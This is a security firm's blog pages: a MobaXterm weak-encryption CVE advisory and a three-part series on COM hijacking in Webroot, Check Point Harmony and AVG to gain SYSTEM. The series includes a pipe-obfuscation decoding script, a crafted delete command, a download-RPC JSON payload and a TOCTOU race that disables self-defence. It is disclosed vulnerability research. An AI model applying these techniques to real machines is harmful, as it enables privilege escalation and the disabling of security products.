Search

Vulnerability in Mobatek MobaXterm (CVE-2025-0714)

Search

Vulnerability in Mobatek MobaXterm (CVE-2025-0714)

MobaXterm is a toolbox for remote computing.

CVE-2025-0714: Insecure storage of sensitive information in MobaXTerm < v25.0

MobaXTerm uses an initialisation vector (IV) consisting only of zero bytes and a master key to encrypt each password individually. In the default configuration, on opening MobaXTerm, the user is prompted for their password. A derivative of the password is used as the master key. As both the master key and the IV are the same for each stored password, the AES CFB ciphertext depends only on the plaintext (the password). The static IV and master key make it easier to obtain sensitive information and to decrypt data when it is stored at rest. Thus, it is possible for an attacker that has access to the encrypted passwords to:

  1. Recognize Password reuse, as the same password is always encrypted to the same ciphertext.
  2. Perform chosen plaintext attacks, if one or multiple passwords can be recovered.
  3. Recognize the prefix of similar passwords if one password is known.

The vulnerability exists in the password storage of Mobateks MobaXterm below version 25.0. The vulnerability was acknowledged and fixed by MobaXterm within a few weeks. We want to thank MobaXterm for their exemplary reaction to the vulnerability report.

We recommend to manually reencrypt all passwords that were encrypted with a vulnerable version of MobaXterm.

CVSS Score
6.5 (CVSS v3.1)

CVSS Vector String
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Affected Version
MobaXTerm below 25.0

Fixed Version
25.0

Credits
cirosec GmbH

Timeline

Do you want to protect your systems? Feel free to get in touch with us.

The Key to COMpromise – Part 3

Search

The Key to COMpromise – Part 3

February 12, 2025

The Key to COMpromise - Downloading a SYSTEM shell, Part 3

Introduction

In the first part of this series, we described how we identified a COM interface used by Trend Micro Apex One (CVE-2024-36302) and hijacked its associated registry key within the HKCU registry hive to execute a replay attack. We again used COM hijacking in the second part of this series. We described how we reversed some RPC communication to abuse an update mechanism provided by AVG Internet Security (CVE-2024-6510).

In this third part of our blog post series, we will cover the details of two additional vulnerabilities we found based on COM hijacking. The first vulnerability impacted Webroot Endpoint Protect (CVE-2023-7241), allowing us to leverage an arbitrary file deletion to gain SYSTEM privileges. In the second case, we targeted Checkpoint Harmony (CVE-2024-24912) and used a file download primitive to gain SYSTEM privileges.

Vulnerability 1: Leveraging file deletion for LPE

For the first vulnerability, the COM interface was triggered whenever a specific file save dialogue was opened in the user interface. For a more comprehensive coverage of COM hijacking, refer to part one of this series.

Upon successfully hijacking the COM interface, our custom DLL was loaded by the front-end process running under our user context:

Figure 1: Our custom DLL being loaded into the frontend process
Alain Rödel and Kolja Grassmann

Consultants

Category
Date
Navigation

Having confirmed that we could execute code in the security product’s front-end process, our next step was to examine the communication between the front and back end.

Reverse engineering the communication

To monitor named pipe communication, we utilized the IO Ninja Monitor. We could see that each time we interacted with the service from the client application, some data was sent over the pipe \ \ . \ pipe\WRSVCPipe. Unfortunately, the data was nonsense, and we couldn’t identify any meaningful strings or commands within this communication:

14:40:36 +53:21.506 Client file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04BA10ACF0
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 540

14:40:36 +53:21.506 Server file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04B3C0B700
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 1716

14:40:36 +53:21.507 File ID 0xFFFFAB04BA1090D0:

14:40:36 +53:21.507 > 0000 a5 a5 08 a6 09 b9 08 ba 09 bd 08 be 09 b1 08 b2 …………….
> 0010 09 b5 08 b6 09 c9 08 ca 09 cd 08 ce 09 c1 08 c2 …………….
> 0020 09 c5 08 c6 09 d9 08 da 09 dd 08 de 09 d1 08 d2 …………….
> 0030 09 d5 08 d6 09 e9 08 ea 09 ed 08 ee 09 e1 08 e2 …………….
> 0040 09 e5 08 e6 09 f9 08 fa 09 fd 08 fe 09 f1 08 f2 …………….
> 0050 09 f5 08 f6 09 09 08 0a 09 0d 08 0e 09 01 08 02 …………….
> 0060 09 05 08 06 09 19 08 1a 09 1d 08 1e 09 11 08 12 …………….
> 0070 09 15 08 16 09 29 08 2a 09 2d 08 2e 09 21 08 22 …..).*.-…!.”
> 0080 09 25 08 26 09 39 08 3a 09 3d 08 3e 09 31 08 32 .%.&.9.:.=.>.1.2
> 0090 09 35 08 36 09 49 08 4a 09 4d 08 4e 09 41 08 42 .5.6.I.J.M.N.A.B
> 00a0 09 45 08 46 09 59 08 5a 09 5d 08 5e 09 51 08 52 .E.F.Y.Z.].^.Q.R
> 00b0 09 55 08 56 09 69 08 6a 09 6d 08 6e 09 61 08 62 .U.V.i.j.m.n.a.b
[…]

Searching for xrefs in the WRSA.exe client application found many references to the \\.\pipe\WRSVCPipe. We could observe the recurring following pattern:

input_data = HeapAlloc(ProcessHeap, 8u, 0x1E89u);
if ( !v3 )
return 0;
*input_data = 53; // Write first byte? A command?
res = WriteEncryptedNamedPipe((_DWORD *)this, (int)L"\\\\.\\pipe\\WRSVCPipe", input_data, 0x2710u, 0);

The method WriteEncryptedNamedPipe (renamed by us) implemented some kind of XOR encryption to obfuscate the data transmitted via the named pipe:

if ( buf )
{
for ( i = 1; i < 7816; ++i )
*((_BYTE *)buf + i) ^= *((_BYTE *)buf + i - 1) ^ (unsigned __int8)(i - 85);
*(_BYTE *)buf ^= 0xACu;
}

We can see that each byte of the buffer is XORed multiple times, using both static values (e.g., 0xAC) and dynamic values derived from other parts of the buffer. This explained the “encrypted” traffic and allowed us to build scripts for “decrypting” the traffic. To achieve this, we reversed the encryption routine and implemented the following Python script:

def encrypt(buf):
for i in range(1, len(buf)):
buf[i] ^= buf[i-1] ^ (i - 85) & 0xff
buf[0] ^= 0xAC
return buf

def decrypt(buf):
buf[0] ^= 0xAC
i = 7815
while (i > 0):
buf[i] ^= buf[i-1] ^ (i – 85) & 0xff
i -= 1
return buf

While those strings were not that interesting for our use case, we identified a structure in the binary traffic: The first byte looks like a command id!

By decrypting the traffic recorded with IO Ninja, we saw various strings that seemed to be cloud URLs. While these strings were not that interesting for us, we identified a unique structure in the binary traffic: The first byte appeared to function as a command identifier!

> decrypted xxd entry_0100.bin | head -n3
00000000: 5200 0000 0000 0000 0000 0000 0000 0000 R...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0101.bin | head -n3
00000000: 3a00 0000 0000 0000 0000 0000 0000 0000 :...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0001.bin | head -n3
00000000: 2700 0000 0000 0000 0000 0000 ec2e 3277 '.............2w
00000010: 0000 0000 0000 0000 0000 0000 76dc b394 ............v...
00000020: 0000 0000 a011 9a76 0000 0000 2400 0000 .......v....$...

Trying to reconstruct the binary message format, we discovered a global handler function responsible for processing these commands:

int __stdcall MsgRecv_Callback(int *a1, unsigned int *input_buf, void *a3, int a4, _DWORD *a5)
{
// [...]
if ( !input_buf )
return 7816;
v6 = *input_buf;
// [...]
if ( v6 > 0x64 ) // [1]
{
if ( (int *)off_6A4500 != &off_6A4500 && (v7 & 1) != 0 && *(_BYTE *)(off_6A4500 + 25) >= 4u )
TraceMsg_Wrap(*(_QWORD *)(off_6A4500 + 16), 0x17u, &stru_66D2CC, v6);
return 7816;
}
if ( !cmd_handler_table[v6] )
{
// Invalid function table?
}
// ... more checks
if ( v17 )
{
cmd_id_to_string(*a1, (int)input_buf, v8); // [2]
((void (__thiscall *)(int, int *, unsigned int *, int))cmd_handler_table[v6])(funcs_42CE5D[v6], a1, input_buf, a4); // [3]
}

The handler function performs several actions: In [1], it first checks if the command_id exceeds the valid range (>0x64). If within bounds, it invokes the corresponding handler function for the command_id from the function table (see [3]). Nicely for us, it utilizes the cmd_id_to_string for debugging/ tracing purposes (see [2]), which we can use to identify interesting command IDs:

case 0x36:
v5 = "FLUSH_CONFIGURATION";
goto LABEL_116;
case 0x37:
v5 = "DELETEFILE";
goto LABEL_116;
case 0x38:
v5 = "INSTALL_PACKAGE";
goto LABEL_116;
case 0x39:
v5 = "GET_PACKAGE_STATUS";
goto LABEL_116;
case 0x3A:
v5 = "PERFORM_WALL";
goto LABEL_116;

Among the various command IDs, one particular caught our attention: 0x37 DELETEFILE, so let us look at its implementation:

int __stdcall arbitaryDelete(int *a1, int decrypted_buffer, int a3)
{
WCHAR *v3; // esi

v3 = (WCHAR *)(decrypted_buffer + 8);
if ( DeleteFileW((LPCWSTR)(decrypted_buffer + 8)) )
*(_DWORD *)(decrypted_buffer + 532) = 1;
else
sub_4D7090(*a1, v3);
RemoveDirectoryW(v3);
return 1;
}

As observed in the function table invocation within MsgRecv_Callback, we control the second argument, which corresponds to the decrypted input buffer. By strategically placing a filename at offset 0x08 in the buffer, we could delete any file or directory with SYSTEM privileges!

Exploiting file deletion

We identified the file delete functionality as a potential privilege escalation vector. The file delete command exchanged between the front end and back end was composed as follows:

-------------------------------------------
| opcode| 7x 0-bytes | Filename | 0-bytes |
-------------------------------------------

The first value was the opcode for the file delete operation in our version, 0x37. This was followed by seven zero-bytes and a filename provided as a Unicode string. The overall size of each command was 7816 bytes.

By replicating the previously described obfuscation logic, we could craft and send our own delete commands via the named pipe used for issuing commands.

To leverage the file delete functionality for privilege escalation, we used a publicly available PoC provided by the ZDI. The exploit involves replacing a rollback script used during an MSI installation and performing DLL hijacking to spawn a cmd.exe process as SYSTEM when the on-screen keyboard is opened on the lock screen (more details can be found here).

We ran the exploit with the delete command targeting C:\\Config.msi::$INDEX_ALLOCATION. The following image shows the successful execution:

Figure 2: Successful exploitation of a file delete

Process Monitor confirmed the file deletion:

Figure 3: File deletion visible in Process Monitor

After executing the exploit, pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen triggered the execution of cmd.exe as SYSTEM. Great:

Figure 4: cmd.exe running as SYSTEM

In summary, our exploit worked as follows:

  • We run the exploit published by ZDI.
  • We hijack the COM interface to trigger the loading of our DLL.
  • Our DLL issues a delete command for C:\\Config.msi::$INDEX_ALLOCATION.
  •  The ZDI PoC places a (malicious) DLL on our system that will be loaded by the on-screen keyboard.
  • Opening the on-screen keyboard on the lock screen spawns cmd.exe as SYSTEM.

Vulnerability 2: Abusing a file download for privilege escalation

For the second vulnerability, we hijacked the dataexchange.dll COM interface. Hijacking the interface, as described in part 1, allowed us to execute code in the front-end process when opening and closing an extended menu point in Check Point Harmony UI. In the following screenshot, the menu point is underlined in red:

Figure 5: Menu point triggering the targeted COM interface

We then needed to find some interesting exposed functionality to leverage this.

Reverse Engineering the communication

Unlike other security products, this client had multiple modules and a strict separation of RPC interfaces. This, conveniently, allowed us to quickly identify an interesting DLL: DeviceAgentAPI.dll. This DLL is imported from other modules, and the API functionality is exposed as PE exports:

Figure 6: RPC exports in the DeviceAgentAPI.dll

Reverse engineering the exported functions, we could indeed confirm that RPC is used: We found references to RpcBindingFromStringBindingW and the actual RPC invocation in NdrClientCall2. We also identified the interface GUID for the client as 2a3ac2b3-43df-471f-b621-f94769c30081.

The function DaRpcDownloadFile quickly caught our eye: File operations in a (potentially) privileged context are always dangerous. To verify its impact, we needed to find the RPC server binding for the GUID 2a3ac2b3-43df-471f-b621-f94769c30081. Using the approach used in the second part of this series, we traced it to cpda.exe, a highly privileged service:

"cpda.exe": {
"2a3ac2b3-43df-471f-b621-f94769c30081": {
"number_of_functions": 10,
"functions_pointers": [
"0x63d3e0",
"0x63d650",
// [...]

Following some nested RPC function tables and C++ vtables, we eventually discovered the Downloader::IDownloader::vftable:

this[11] = &Downloader::IDownloader::`vftable;
// [...]

// Overwrite with new vtable for IDownloader
this[11] = &CDA::vftable;

Other functions linked in the vtable contain strings like CDA::DownloadFile, confirming the correct vtable call:

.rdata:0093A168 ??_7CDA@@6B@_7 dd offset RpcDownloadFileInternal
.rdata:0093A168 ; DATA XREF: sub_4CE7C7+A8
.rdata:0093A168 ; sub_4CF7EC+66
.rdata:0093A16C dd offset sub_508D20
.rdata:0093A170 dd offset sub_508FAB
.rdata:0093A174 dd offset sub_534D15

Inside RpcDownloadFileInternal, the readJSONSafe method processes arguments as one JSON. This explains why the DaRpcDownloadFile only accepts one argument instead of multiple, as one would naturally expect. Although the service code is quite hard to read, the strings like url, localPath and connectTimeoutMs allowed us to guess the structure of the JSON object this method expects.

All left to do was to load the DeviceAgentAPI.dll into the process and call the DaRpcDownloadFile export with the following JSON string:

{"url":"http://127.0.0.1/HID.dll","localPath":"C:/Program Files/Common Files/microsoft shared/ink/HID.DLL"}

Escalating our privileges

We wrote a DLL to import DeviceAgentAPI.dll and call DaRpcDownloadFile with a JSON specifying a local path and a hosted file URL. For convenience, we served the file locally via a Python web server, but we could also use a remote server here.

The file, HID.dll, was placed in C:/Program Files/Common Files/microsoft shared/ink/, allowing to DLL hijack the on-screen keyboard and spawn a CMD as SYSTEM. The source code is available from the ZDI on Github.

Upon triggering the COM hijack to load our DLL, we observed a request on our Python web server:

Figure 7: Webserver hosting HID.dll

Process Monitor confirmed that the COM DLL was loaded into the cptrayUI.exe process …

Figure 8: DLL loaded by the frontend

…and that the `HID.dll` file was placed into the target folder:

Figure 9: HID.dll placed in the target directory

After pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen, a cmd.exe process running as SYSTEM was spawned, concluding our privilege escalation:

Figure 10: cmd.exe running as SYSTEM

To summarize, our second exploit worked as follows:

  • We host the HID.dll file on a web server.
  • We hijack the COM interface and load our DLL into the trusted front-end process.
  • Our DLL calls DaRpcDownloadFile with the local path C:/Program Files/Common Files/microsoft shared/ink/ and the URL of our web server provided as JSON.
  • The backend downloads the DLL we host on the web server to the indicated location.
  • We go to the lock screen and open the on-screen keyboard.
  • The DLL we placed gets loaded and opens a cmd.exe process running as SYSTEM on the lock screen.

Conclusion

This blog post covered two vulnerabilities we discovered during our research. First, we discussed how we found and abused a file delete primitive in Webroot Endpoint Protect to escalate our privileges. Then, we showed how we found and abused a file download primitive in Checkpoint Harmony.

In the final blog post of this series, we will discuss one last privilege escalation vulnerability we found in Bitdefender Total Security (CVE-2023-6154) and a denial-of-service opportunity that COM hijacking offers.

Further blog articles

Do you want to protect your systems? Feel free to get in touch with us.

The Key to COMpromise – Part 2

Search

The Key to COMpromise – Part 2

January 29, 2025

The Key to COMpromise - Abusing a TOCTOU race to gain SYSTEM, Part 2

Recap

In the first post of this blog series, we explored the architectural design of various security products and demonstrated how COM hijacking can be leveraged to exploit them: We examined a vulnerability that allowed us to replay a modified message over a named pipe, highlighting a potential attack vector.

As discussed previously, many security products have frontend processes operating in the context of an unprivileged user, which are capable of initiating privileged actions – such as adding exclusions  – by interacting with a backend service running at higher privileges. To prevent abuse, most vendors implement mechanisms to ensure these actions originate from trusted processes and take steps to protect those processes from tampering.

However, because frontend processes execute with limited user privileges, COM hijacking presents an opportunity to load a malicious DLL into the process. In our research, we found that this attack vector was viable across all the products we targeted, allowing us to exploit the security product’s inherent trust in its own processes.

To capitalize on this trust relationship, we needed to reverse engineer the communication protocols between the frontend and backend processes. This helped us identify interactions that could be manipulated to escalate privileges.

In this post, we will delve into how we exploited this trust in AVG Internet Security (CVE-2024-6510 ) to gain elevated privileges. But before that, the next section will detail how we overcame an allow-listing mechanism that initially disrupted our COM hijacking attempts.

Figure 1: User Interface of the AVG Internet Security Solution
Alain Rödel and Kolja Grassmann

Consultants

Category
Date
Navigation

Circumventing an allow list

For this part of our research, we employed the same basic technique as before, but with one key difference: this time, the COM interface was triggered each time we opened a file dialog to block an application. However, we encountered a restriction – we could not load our DLL from just any folder.

When trying to load the DLL from our custom folder at C:\poc, we could not observe any successful DLL load in the Process Monitor. In contrast, the original DLL path worked without issue.
Through trial and error, we discovered that placing our DLL in the  C:\Windows\system32 directory allowed it to load successfully. This behavior revealed that the product validates the DLL’s directory against an allow list, likely as a defense against DLL hijacking attacks.

While loading from C:\Windows\system32 bypassed the allow list, this approach was impractical for our privilege escalation since an unprivileged user cannot write to this directory. However, based on our prior experience bypassing AppLocker configurations, we knew that some subdirectories within C:\Windows\system32 were writable by unprivileged users. One such directory is C:\Windows\System32\spool\drivers\color. By placing the DLL used for the COM hijacking in this writable subdirectory, we successfully bypassed the allow list and achieved code execution in the frontend process.

Figure 2: Schematic ACLs on specific folders in SYSTEM32

With this DLL injection method established, the next step was to analyze the communication with backend processes. In the following section, we will discuss how we leveraged this primitive to manipulate the trust relationship and escalate privileges.

Reverse engineering the RPC communication

Reverse Engineering RPC communication can be a daunting task, especially in the beginning. Fortunately, tools like RpcView are invaluable for enumerating and identifying RPC interfaces. However, the process ultimately requires in-depth reverse engineering efforts. For our work with AVG, we used the excellent Akamai Research RPC Toolkit to identify and analyze various RPC interfaces across the different AVG binaries.

Our focus was on RPC server interfaces, as these are the endpoints exposed by high-privileged processes. While the AVGSvc.exe executable does not contain RPC server bindings, we found that the ashServ.dll DLL, which is loaded by the service, does expose such interfaces!

The Akamai RPC Toolkit produced the following output: 

"ashServ.dll": {
// [...]
"908d4c23-138f-4ac5-af4a-08584ae7c67b": {
"number_of_functions": 22,
"functions_pointers": [
"0x1654e0700",
"0x1654e0790",
// [...]
],
"role": "server",
"flags": "0x6000000",
"interface_address": "0x165f96020",
// [...]
"eb915940-6276-11d2-b8e7-006097c59f07": {
"number_of_functions": 106,
"functions_pointers": [
"0x1655c8180",
"0x1655c8290",
// [...]
"role": "server",
"flags": "0x6000000",
"interface_address": "0x165fca670"
},
"1118fbbd-02ee-4910-9d86-9940537ee146": {
"number_of_functions": 23,
"functions_pointers": [
"0x1655c08d0",
"0x1655c6be0",
// [...]
],
"role": "server",
"flags": "0x6000000",
"interface_address": "0x165fccfb0"
}

From this output, we can observe three major interfaces with 22, 106, and 23 exposed endpoints. The largest interface is the [Aavm] RPC interface, which has been the subject of previous research and exploitation. Searching the interface GUID on the web reveals some other interesting blog posts back in the year 2015.

Reverse engineering and renaming the functions within the RPC interface is tedious but relatively straightforward.

Figure 3: Some renamed RPC functions of the Aavm RPC interface

Through this analysis, we discovered an RPC function named AavmRpcRunSystemComponent that uses the CreateProcess API without RPC impersonation:

.rdata:0000000165FCA550 dq offset sub_1655C5580
.rdata:0000000165FCA558 dq offset sub_1655C55D0
.rdata:0000000165FCA560 dq offset AavmRpcRunSystemComponent
.rdata:0000000165FCA568 dq offset DecryptData
.rdata:0000000165FCA570 dq offset AddNetAlert

When the RPC client is not impersonated, any new process spawned through this function will run with SYSTEM privileges, creating a critical opportunity for privilege escalation. However, before this process is initiated, a DSA_FileVerify check takes place:

__int64 __fastcall AavmRpcRunSystemComponent(__int64 a1, unsigned int whitelist_id, __int64 arguments, DWORD *out_pid)
{
// [...]
char out_string[32];
// [...]
v8 = GetFileById(out_string, whitelist_id); // [1]
// [...]
FileW = CreateFileW((LPCWSTR)out_string, 0x80000000, 1u, 0i64, 3u, 0x8000000u, 0i64);
v12 = FileW;
v21 = (__int64)FileW;
if ( FileW == (HANDLE)-1i64 )
{
// file not found
}
if ( !GetFinalPathNameByHandleW(FileW, szFilePath, 0x104u, 0) )
{
// File path could not be resolved
}
if ( whitelist_id != 2 && !(unsigned __int8)DSA_FileVerify(szFilePath, 0i64, 18i64) ) // [2]
{
LastError = 87; // ERROR_INVALID_PARAMETER
CloseHandle(v12);
return LastError;
}
// [...]
snprintf(combined_arguments, v15, L"%s %s", szFilePath, arguments); // [3]
// [...]
if ( CreateProcessW(szFilePath, combined_arguments, 0i64, 0i64, 0, 0, 0i64, 0i64, &StartupInfo, &ProcessInformation) ) // [4]
{
// Win ?

The DSA_FileVerify function performs several validations:

  1. Based on the integer argument in [1], it returns a filename. Most of the executable files in this list are repair or setup tools, such as aswOfferTool.exe, SupportTool.exe and AvEmUpdate.exe, which limits the options to those predefined binaries.
  2. A file signature verification is performed in [2] to ensure only trusted binaries can be executed. This check prevents an attacker from inserting their own malicious binary into the process.
  3.  Finally, the program arguments are constructed in [3], and the process is created with SYSTEM privileges in [4].

Although this function appears to be a promising privilege escalation vector, the constraints of the allow-listed binaries and file signature verification present significant roadblocks. Without the ability to exploit any of the allow-listed programs, this avenue may seem like a dead end.

To overcome this limitation, we decided to experiment with the RPC client bindings found in the aavmrpch.dll library. Using this approach, we began testing the functionality of various RPC interfaces, with particular emphasis on the AavmRpcRunSystemComponent function, to explore potential exploitation paths.

Abusing the update mechanism

The most promising target for exploitation was the AvEmUpdate.exe executable, which accepts a range of command-line arguments. This executable is responsible for installing updates provided as cab or DLL files. Since we could control the arguments passed to it, this presented a compelling opportunity for further exploration.

One particularly interesting argument was /applydll, which allows the process to load a specified DLL. Crucially, because the process runs with SYSTEM privileges, this argument could potentially be abused to escalate privileges. However, the update mechanism includes an additional safeguard: it verifies that the provided DLL is signed by the manufacturer. This signature check prevented us from directly supplying a custom DLL to gain SYSTEM privileges.

TOCTOU race

Despite this limitation, we were confident that we could bypass the integrity check by carefully analyzing and exploiting the logic of the process. We finally found a time of use vs time of check (TOCTOU) issue in the logic, which made the integrity checks bypassable. To exploit this reliably, we employed a combination of OpLocks (opportunistic locks) and junctions.

To control the timing of the file accesses during exploitation and exploit our race reliably we needed a way to put the update process in a waiting state. Here we used OpLock to block access to the DLL file and force the update process to wait for us releasing the OpLock. This works even on processes running as SYSTEM, while operating as an unprivileged user. This gives us time to prepare for the next step.

We also want to be able to switch out the DLL file while holding our OpLock. This is where junctions come in. Junctions are symbolic links that can redirect file system access to a different location. Since an unprivileged user can create junctions, we used this capability to redirect file accesses during the exploitation process while holding our OpLock. We can point the junction to an other location for the next file access and there precisely control which file is accessed for each single file access. For more information on OpLocks and junctions, refer to the code provided by James Forshaw and this article from ZDI.

Here’s how the exploit worked:

  1. The AvEmUpdate.exe process made multiple file accesses before loading the DLL, likely to verify its legitimacy.
  2. Using a junction, we redirected the process to a valid, signed DLL for the first three file access attempts.
  3.  On the fourth file access, when the process attempted to load the DLL, we redirected the junction to our malicious DLL containing the privilege escalation payload.

Because we were holding an OpLock on the initial three file accesses, we could dynamically change the target of the junction while the SYSTEM process was waiting for access to the previous file. After updating the junction’s target, we released the OpLock, allowing the process to move on to the next file. We repeated this until the fourth access successfully loaded our malicious DLL.

Figure 4: Visualization of the junction redirects

Note that the process always accesses the same file; however, using the junction, we change the files accessible under this path.

While this technique successfully allowed us to bypass the signature verification and load our malicious DLL, it wasn’t sufficient on its own to fully escalate privileges. In the next section, we will delve into the additional steps required to achieve high privileges on the system and the challenges we encountered along the way.

Disabling self-defence

Even after successfully executing the TOCTOU (time-of-check-to-time-of-use) race, our malicious DLL was not loaded into the process. Upon further investigation, we discovered that the process only loaded DLLs with valid signatures. This added layer of protection significantly complicated our exploitation attempts. We suspect this behavior was due to the process being launched as a PPL (Protected Process Light) process.

After some trial and error, we found that this restriction was enforced only when the product’s self-protection feature was enabled. Fortunately, we identified an RPC function, AavmRpcDisableSelfDefense, that could disable this self-protection mechanism. This function was exported by the same DLL (ashServ.dll) we had already interacted with in our previous RPC calls. By calling this function, we successfully disabled the product’s self-defense feature.

With self-defense disabled, our malicious DLL was successfully loaded into the process running with SYSTEM privileges, finally completing the privilege escalation.

To summarize, the exploitation in this case worked as follows:

1. Initial entry with COM hijacking:

  • We used COM hijacking to load a DLL into the frontend process.
  • To bypass the allow-listing mechanism, the DLL was placed in C:\Windows\System32\spool\drivers\color

2. Disabling self-defense:

  •  The loaded DLL then called the function AavmRpcDisableSelfDefense to deactivate the product’s self-protection feature.

3. Triggering the update mechanism:

  •  The DLL triggered an update by calling AavmRpcRunSystemComponent.
  • Using a junction in combination with OpLocks, we tricked the update process into loading an unsigned DLL.
  • This allowed us to escalate our privileges to SYSTEM.

Summary

In this blog post, we demonstrated how COM hijacking was leveraged to gain SYSTEM privileges for exploiting AVG Internet Security to gain privileges. Unlike the previous case, we encountered additional obstacles, namely an allow-listing mechanism, that initially blocked our DLL. We described how we bypassed this restriction by placing the DLL in a writable system directory. We detailed our reverse engineering of the product’s RPC calls, which uncovered functions that allowed us to disable self-protection and trigger the update mechanism. By combining a junction and OpLocks, we bypassed the signature check and successfully loaded an unsigned DLL, enabling us to escalate privileges to SYSTEM.

In the next post, we will explore two additional vulnerabilities related to COM hijacking and describe how we exploited them to achieve privilege escalation.

This article was written as part of joint research with Neodyme.

Further blog articles

Do you want to protect your systems? Feel free to get in touch with us.

The Key to COMpromise – Part 1

Search

The Key to COMpromise – Part 1

January 15, 2025

The Key to COMpromise - Pwning AVs and EDRs by Hijacking COM Interfaces, Part 1

Introduction

Antivirus (AV) and Endpoint Detection and Response (EDR) products are critical in securing systems in enterprise environments or personal setups. These products are designed to protect devices, but their widespread use – particularly in enterprises – means vulnerabilities in these products can significantly impact overall security. We previously analyzed Wazuh and found vulnerabilities that would have allowed lateral movement in the organization’s network. In this series, we will discuss how we identified vulnerabilities in multiple security products that could, in theory, allow privilege escalation to SYSTEM on millions of devices, assuming initial access was gained. We will introduce the general design of the targeted security products to give you some background information on the mechanisms that allowed us to escalate our privileges.

Technical Background

All the security products we examined include a user interface, which typically allows users to perform actions such as triggering filesystem scans, initiating updates, or modifying settings like excluded files. For example, setting an exclusion should require high privileges to prevent malware from excluding itself from scans. However, the user interface usually operates in the context of the user executing it. Especially in an enterprise setting, this user often lacks high privileges, as granting such privileges would violate good security practices.

How does a low-privileged user change settings?

Since the user interface cannot directly perform privileged actions, such as setting exclusions, a separate system process with higher privileges is required to execute these changes on behalf of the user interface. In our analysis, we will refer to: * The user interface as the front-end process. * The highly privileged system process as the back-end process.

To coordinate actions, the front-end process must communicate with the back-end process. Depending on the product, this communication occurs through named pipes, Remote Procedure Calls (RPC), or Component Object Model (COM) interfaces. Across all products we examined, the back-end process ran with SYSTEM privileges.

Security risks in back-end communication

A natural concern arises: Could malware abuse this communication to perform privileged actions? If malicious software could directly interact with the back-end process, it could exploit this pathway to, for example, modify the registry or other sensitive settings.

To mitigate this, security products typically verify that actions initiated by the back-end process originate from a trusted source. For example, they might check the signature of the executable initiating communication.

However, this safeguard is insufficient on its own, as Windows lacks strict boundaries between processes running under the same user account. A process can read or write to the memory of other processes in the same user context. It can even execute code within those processes. As a result, malware could potentially hijack a trusted process to abuse its connection with the back-end process.

Protections against code injection

To address this risk, security vendors implement additional protections to secure the front-end process:

  • Filter Drivers: These intercept system calls and prevent handles with privileges that could allow code injection from being created for the front-end process. This measure blocks many common code injection techniques, often relying on acquiring such handles.
  • DLL Allowlist Validation: During our testing, we observed measures that verify the location of loaded DLLs against an allowlist to prevent loading of untrusted DLLs.

These defences significantly reduce the risk of untrusted code injection.

Communication between front-end and back-end processes

The diagram below illustrates the components involved in the communication between front-end and back-end processes:

Figure 1: Overview of the components involved in typical communication between different processes of an EDR
Alain Rödel and Kolja Grassmann

Consultants

Category
Date
Navigation

Communication with the back-end process remains an attractive attack surface. For example, attackers could exploit it to trigger privileged actions, such as modifying the registry, from an unprivileged context. Manufacturers are aware of these risks and have implemented safeguards to prevent direct communication with the back-end process. However, previously discovered vulnerabilities, such as those in Avast [1,2], have demonstrated that bypassing these protections is possible.

Exploiting back-end communication

To abuse back-end communication, an attacker must first establish a way to interact with the back-end process. There are two primary approaches:

  • Exploit validation logic flaws: Identify weaknesses in the logic used by the back-end process to verify that requests originate from the front-end process.
  • Inject code into the front-end process: Attackers can indirectly communicate with the back-end process by executing code within the trusted front-end process.

In our research, we pursued the second approach. Using COM hijacking, we successfully injected code into the front-end process, enabling us to communicate with the back-end process from within the trusted front-end.

COM hijacking

Component Object Model (COM) interfaces provide additional functionality to applications, offering a framework for interprocess communication and object reuse. For instance, Windows Runtime (WinRT) is implemented based on COM. A key advantage of COM is its abstraction: developers using COM interfaces do not need to understand the underlying implementation, which could be written in another language, executed in a separate process, or even reside on a remote server in the case of Distributed COM (DCOM).

Some COM interfaces implement their functionality through DLLs that are dynamically loaded into the calling process when the interface is invoked. Hijacking such a COM interface allows injecting a custom DLL into the calling process, enabling code execution within the process’s context.

To use a COM interface the developer invokes the CoCreateInstance with a GUID, which then leads to a search of the right COM interface and returns a COM object if the interface is found. The following graphic gives a high level overview of how this could work for the TaskScheduler interface:

Figure 2: Example COM lookup of the ITaskScheduler COM object

The core idea of COM hijacking is to exploit the registry’s search order for COM interface definitions. When a COM interface is accessed, the system first looks for its definition in the HKEY_CURRENT_USER (HKCU) registry hive before checking the HKEY_LOCAL_MACHINE (HKLM) hive. If the COM interface uses a DLL to provide its functionality, the registry entry will include the path to the implementing DLL. Since the HKCU hive belongs to the current user, it can be modified by processes running with that user’s privileges. This means that any process running in the user’s context — including the front-end process of an EDR product running in the context of our unprivileged user — will prioritize COM definitions in the HKCU hive and stop searching once a match is found. The following diagram shows the registry accesses before and after a COM hijack:

Figure 3: Overview of the involved components

COM hijacking is most often discussed as a persistence technique. For instance, attackers could hijack a COM interface known to be invoked, ensuring their payload is executed. In our research, however, we employed COM hijacking differently. Rather than using it solely for persistence, we specifically targeted the front-end process of EDR products to load a custom DLL. This allowed us to execute code within the process context, leveraging the elevated privileges of the back-end process during communication. Interestingly, this approach proved effective against many EDR products. There was similar research in the past, which abused COM hijacking to bypass the self defense of similar products [5]. Futhermore James Forshaw previously demonstrated its use against VirtualBox [3].

In all the EDR products we examined, COM interfaces were used in the front-end process. Most of these interfaces were located under the HKLM hive, so there was no need to overwrite any data. However, overwriting an interface in the HKCU hive would also have been possible.

After hijacking a COM interface, every invocation of the targeted interface in the user’s context would trigger our hijacked COM interface. For our purposes, this enabled us to load our custom DLL into the front-end process whenever specific actions were performed, such as opening a file dialogue in the user interface.

Now that we have discussed COM-hijacking in theory, the next question is how we identified COM interfaces of interest within the front-end process.

Identifying a hijackable COM interface

The initial step in all the vulnerabilities we discovered involved achieving code execution in a front-end process via COM hijacking. As this was similar across all the products we analyzed, we will outline the general process here instead of repeating it for each specific product.

